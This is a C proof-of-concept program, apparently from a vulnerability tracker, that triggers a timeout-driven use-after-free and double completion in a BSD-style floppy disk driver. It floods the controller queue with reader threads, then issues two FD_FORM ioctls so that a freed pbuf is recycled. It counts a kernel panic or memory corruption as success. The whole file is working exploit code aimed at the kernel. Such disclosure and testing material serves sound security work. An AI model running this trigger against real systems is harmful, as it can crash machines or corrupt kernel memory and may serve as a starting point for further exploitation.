DF-4063 / fd_timeout_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 | /* * DF-4063 PoC: fdformat() 20 s timeout -> biodone() on a bio the fdc state * machine still owns + relpbuf() of the pbuf -> later double completion / * use-after-free when the controller finally processes the stale bio. * * Uses ONLY legal format parameters (nsecs = 18) -- this is NOT the known * FD_FORM nsecs overread (DF-1364/DF-2456). * * Method: * 1. N reader threads keep fdc->bio_queue deep (each physio read keeps one * bio in flight on the single controller queue). * 2. Main thread issues FD_FORMAT. Its format bio is bioq_insert_tail'd * behind the readers. fdformat() biowait_timeout(..., 20*hz) expires, * fdformat itself calls biodone(&bp->b_bio1) and relpbuf(bp) -- while * the driver still owns the bio. * 3. Immediately issue FD_FORMAT #2: getpbuf() recycles the same pbuf from * the objcache, so the driver's stale fdc->bio (same address) is now the * LIVE bio of ioctl #2. When the machine finally reaches the stale bio * it double-completes it: ioctl #2 returns far earlier than the real * queue drain time, and the final biodone()/devstat run on freed pbuf * memory. * * Success criteria: * - fdform#1 returns EIO after ~20 s while the queue is still deep * - fdform#2 returns SUCCESS long before the queue could have drained * (measured), and/or kernel panic / memory corruption in the serial log. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <time.h> #include <pthread.h> #include <sys/ioctl.h> #include <machine/ioctl_fd.h> static volatile int stop_readers; static double now_s(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ts.tv_sec + ts.tv_nsec / 1e9; } static void *reader(void *arg) { static __thread char buf[65536]; int fd = open("/dev/fd0", O_RDONLY); (void)arg; if (fd < 0) { perror("reader open"); return NULL; } while (!stop_readers) pread(fd, buf, sizeof(buf), 0); close(fd); return NULL; } static double fmt_time(int fd, int cyl, const char *tag, int *rc) { struct fd_formb f; double t0, t1; int r, i; memset(&f, 0, sizeof(f)); f.format_version = FD_FORMAT_VERSION; f.cyl = cyl; f.head = 0; f.fd_formb_secshift = 2; /* 512-byte sectors */ f.fd_formb_nsecs = 18; /* legal: <= FD_MAX_NSEC (36) */ f.fd_formb_gaplen = 0x54; f.fd_formb_fillbyte = 0xf6; for (i = 0; i < 18; i++) { f.fd_formb_cylno(i) = cyl; f.fd_formb_headno(i) = 0; f.fd_formb_secno(i) = i + 1; f.fd_formb_secsize(i) = 2; } t0 = now_s(); r = ioctl(fd, FD_FORM, &f); t1 = now_s(); *rc = r; printf("%s: FD_FORM cyl=%d -> rc=%d errno=%d (%s) in %.3f s\n", tag, cyl, r, errno, r ? strerror(errno) : "OK", t1 - t0); fflush(stdout); return t1 - t0; } int main(int argc, char **argv) { int nread = argc > 1 ? atoi(argv[1]) : 64; int i, rc1, rc2; double d1, d2, drain; pthread_t th[512]; int fd = open("/dev/fd0.1440", O_RDWR); if (fd < 0) { perror("open /dev/fd0.1440"); return 1; } if (nread > 512) nread = 512; /* wait for the queue to be deep: readers keep requeueing bios */ for (i = 0; i < nread; i++) pthread_create(&th[i], NULL, reader, NULL); printf("readers=%d running; letting the queue build...\n", nread); sleep(5); /* 1: the format that will time out at 20 s while still queued */ d1 = fmt_time(fd, 2, "fdform#1(timeout-expected)", &rc1); /* 2: immediately recycle the freed pbuf */ d2 = fmt_time(fd, 3, "fdform#2(recycled-pbuf)", &rc2); printf("fdform#1 rc=%d %.3fs | fdform#2 rc=%d %.3fs\n", rc1, d1, rc2, d2); if (rc1 != 0 && d1 >= 19.0 && d1 < 25.0 && rc2 == 0 && d2 < d1 - 5.0) { printf("RESULT: DOUBLE-COMPLETION/UAF demonstrated " "(#2 completed early on the stale bio)\n"); } else if (rc1 != 0 && d1 >= 19.0) { printf("RESULT: timeout fired while driver still owned bio; " "stale completion will follow (watch console)\n"); } else { printf("RESULT: inconclusive (d1=%.3f rc1=%d)\n", d1, rc1); } sleep(10); /* let the machine drain onto the stale bio */ stop_readers = 1; for (i = 0; i < nread; i++) pthread_join(th[i], NULL); drain = now_s(); printf("done (readers stopped at %.1f)\n", drain); return 0; } |